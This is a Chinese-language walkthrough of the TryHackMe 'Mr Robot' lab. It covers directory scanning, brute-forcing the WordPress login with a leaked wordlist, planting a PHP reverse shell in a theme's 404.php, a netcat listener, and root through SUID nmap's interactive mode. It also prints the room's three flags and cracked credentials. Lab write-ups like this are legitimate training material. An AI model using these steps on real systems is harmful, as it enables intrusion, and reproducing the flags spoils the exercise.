【THM】Mr Robot CTF-练习
本文相关的TryHackMe实验房间链接:https://tryhackme.com/room/mrrobot
本文介绍:完成针对Mr Robot实验靶机的渗透操作,本实验主要涉及ROBOTS.TXT信息泄露以及WP暴破。
简介
本实验的渗透目标是一个适合初/中级学习者的虚拟靶机,目标机器上有 3 个隐藏的key,你能找到它们吗?
本小节操作:在Tryhackme实验房间界面部署虚拟靶机
IP Address:10.10.220.226
Hack the machine
端口扫描
使用nmap对靶机进行端口扫描:
nmap -sC -sV -Pn -p- -T4 10.10.220.226
目标机的80端口(http)、443端口处于开放状态;目标机的22端口(ssh)处于关闭状态
访问目标机80端口(80可省略):
目录扫描
由上一小节可知目标机开启了80端口(对应的服务为web服务),所以我们接下来使用gobuster对靶机的web站点进行目录扫描:
gobuster dir -u http://10.10.220.226/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
发现WP登录页面:http://10.10.220.226/wp-login.php
发现robots文件页面:http://10.10.220.226/robots
访问robots文件
由上一小节的目录扫描结果可知:目标站点存在robot文件信息泄露。
访问robot页面(根据目录扫描结果-http://10.10.220.226/robots)
访问上图中的两个文件(http://10.10.220.226/fsocity.dic 、http://10.10.220.226/key-1-of-3.txt):
key-1-of-3.txt内容:073403c8a58a1f80d943455fb30724b9
答题
爆破WP登录页面
由之前的目录扫描结果可知:目标机使用了WP(WordPress)并且WP的登录页面为-http://10.10.220.226/wp-login.php 。
访问WP登录页面:
使用之前通过robot文件信息泄露得到的字典文件(fsocity.dic)来爆破WP登录页面-以得到有效用户名;打开Burpsuitep,在WP登录页面随便输入一个用户名和密码,然后用bp抓取数据包并针对用户名进行爆破(指定使用 之前通过robots信息泄露所得到的字典文件fsocity.dic)。
得到有效用户名:Elliot
基于得知的有效用户名-Elliot,使用wpscan继续爆破WP登录页面以得到登录密码:
#sort fsocity.dic | uniq > fsocity_sorted.dic
wpscan --url http://10.10.220.226/wp-login.php --usernames Elliot --passwords /home/hekeats/fsocity_sorted.dic
得到Elliot用户的登录密码:ER28-0652
获得目标初始访问权限
使用之前得到的 用户名+密码(Elliot + ER28-0652) 登录WP页面,成功进入到WP后台管理页面之后 选择查看appearance/editor功能点,然后使用php-reverse-shell.php填充editor页面中的404.php文件内容(注意修改好php脚本中的攻击机ip和端口号,php-reverse-shell.php是一个反向shell脚本)。
在本地机器(Kali Linux)上设置一个监听器来接收来自目标机器的传入连接,我们将使用 NetCat (nc)设置监听器。(下面命令中的端口号 要和前面使用的反向shell脚本内容中的端口号对应)
nc -lvnp 4444
#-l(侦听模式,用于入站连接)
#-v(详细)
#-n(抑制域名/端口解析)直接使用IP地址,而不经过域名服务器
#-p 为远程连接指定本地端口
接下来我们需要加载刚才那个已经修改好的 404.php 文件,为此,我们首先需要找到该文件的位置。
WordPress站点的大多数主题位于 /wp-content/ 目录下,主题相关内容则位于 /wp-content/themes/ 目录下;根据我们之前所修改的php文件所对应的主题名称,可知404.php文件位置在 http://10.10.220.226/wp-content/themes/twentyfifteen/404.php ,打开本地kali机中的浏览器访问 404.php文件即可。
在访问内容为反向shell脚本的404.php文件之后-我们在本地kali机上成功获得了一个操纵目标机的shell界面,使用该shell检索信息。
#使用以下命令使初始shell稳定化
python -c "import pty; pty.spawn('/bin/bash')"
由上图结果可知:robot的登录凭据已被加密处理;我们使用 https://crackstation.net/ 进行在线解密即可:
#robot:c3fcd3d76192e4007dfb496cca67e13b
解密结果-即robot用户的登录凭据为:abcdefghijklmnopqrstuvwxyz
使用得到的凭据切换shell用户到robot并查看key2文件内容:
key-2-of-3.txt文件内容为:822c73956184f694993bede3eb39f959
提权
继续使用之前的shell界面,输入命令find / -type f -perm -04000 -ls 2>/dev/null
以列出目标机中设置了 SUID 位的程序:
我们可以访问 https://gtfobins.github.io/ 并查看nmap程序的提权方法:
使用上图所示的方法(要求nmap版本在2.02-5.21之间)进行提权,提权成功之后查看key3文件内容即可:
nmap --interactive #目标机的nmap版本为3.81
nmap> !sh
key-3-of-3.txt文件内容为:04787ddef27c3dee1ee161b21670b4e4